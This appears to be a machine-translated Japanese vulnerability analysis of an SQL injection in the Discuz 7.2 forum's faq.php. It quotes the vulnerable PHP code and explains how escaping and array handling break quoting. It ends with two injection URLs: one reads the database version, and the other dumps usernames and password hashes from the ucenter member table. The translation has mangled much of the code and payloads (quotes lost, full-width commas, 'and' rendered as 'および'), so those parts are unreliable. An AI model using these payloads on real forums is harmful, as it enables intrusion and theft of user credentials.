Discuz 7.2faq.php脆弱性分析



Discuz 7 2 Faq Php Vulnerability Analysis



脆弱性はページfaq.phpで発生し、ソースコードは次のとおりです。

画像
 elseif($action == 'grouppermission') {ksort($gids) $groupids = array() foreach($gids as $row) { $groupids[] = $row[0] } $query = $db->query('SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('.implodeids($groupids).')')
画像

このパッセージの意味は、最初にキーワードに従って配列$ gidsに対して昇順操作を実行し、次に変数配列$ gids $ row [0]の各キーワードの最初の値を取得して$ groupids配列に格納することです。次に、implodeids()関数を使用して文字列が生成され、SQLクエリステートメントに取り込まれます。



ここで、$ gidsパラメータを入力すると、デフォルトでエスケープ操作が実行されます。つまり、一重引用符 'を入力すると、格納される最終データは'になりますが、常に配列の最初の値のみになります。このとき、は取り出されます。つまり、$ row [0] = ''です。このとき、が取り出され、$ groupids配列に配置されます。

一重引用符を入力した後の$ gids配列の値が{'1'、 '' '、' 3 '、' 4 '}であると仮定すると、最初の値を取得して$ groupids配列に配置します。現時点では、$ groupids = {'1'、 ''、 '3'、 '4'}です。



次に、global.fanc.phpファイルのimplodeids()関数を調べ始めます。

画像
function implodeids($array) { if(!empty($array)) { return '''.implode('','', is_array($array) ? $array : array($array)).''' } else { return '' } }
画像

'、'を使用して、配列のさまざまな配列を接続します。

次に、$ groupidsは、この関数を通過した後、「1」、「」、「3」、「4」になります。



左右のスラッシュが存在するため、4番目の単一引用符は強制的に単一引用符としてエスケープされ、3番目の単一引用符で閉じられないため、この時点で問題が発生します。 、このとき、3番目の単一引用符は5番目の単一引用符で閉じられ、位置3にエスケープがあります。このとき、ペイロードとして位置3を作成すると注入が形成されます。 3つの場所に右括弧を入力して閉じてから、+新しいクエリステートメントを入力します。

現時点では、ペイロードは次のように記述できます。

http://127.0.0.1/dz/faq.php?action=grouppermission&gids [80] = '&gids [81] [0] =)およびupdatexml(1、concat(0x7e、(select @@ version))、1) %23

http://127.0.0.1/dz/faq.php?action=grouppermission&gids [80] = '&gids [81] [0] =)およびupdatexml(1、concat(0x7e、(select concat(username、0x7e、password) ucenter.uc_membersから))、1)%23